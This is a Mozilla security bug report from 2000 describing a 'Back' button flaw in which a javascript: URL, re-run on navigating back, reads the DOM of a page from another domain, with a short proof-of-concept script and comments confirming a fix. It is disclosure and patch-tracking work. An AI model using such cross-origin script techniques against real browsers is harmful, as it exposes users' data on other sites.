27182 - Back vulnerability

Status: VERIFIED WORKSFORME

(Core :: Security, defect, P3)

Description

[Norris Boyd]

Subject: 
        BUG: Back vulnerability
   Date: 
        Wed, 09 Feb 2000 16:27:54 +0200
   From: 
        Georgi Guninski <[e-mail]>
     To: 
        Norris Boyd <[e-mail]>




There is a vulnerability regarding the "Back" function.
The problem is: first, set the current window location to JavaScript
code that accesses the DOM, then clicking on a link to another page and
finally going back executes the JavaScript code, which has access to the
DOM of the last loaded document.

The code is:
--------------------------------------------------------------------------------
----
<SCRIPT>
location="javascript:alert('The first link is:
'+document.links[0].href);";
</SCRIPT>
<A HREF="http://www.yahoo.com">Click here, then when the page is loaded
go back</A>

Comment 1

[leger]

Bulk moving all Browser Security bugs to new Security: General component.  The 
previous Security component for Browser will be deleted.

Comment 2

[Norris Boyd]

I now get the following error:

JavaScript Error: access disallowed from scripts at http://warp to documents at
another domain

Comment 3

[John Unruh]

Verified fixed.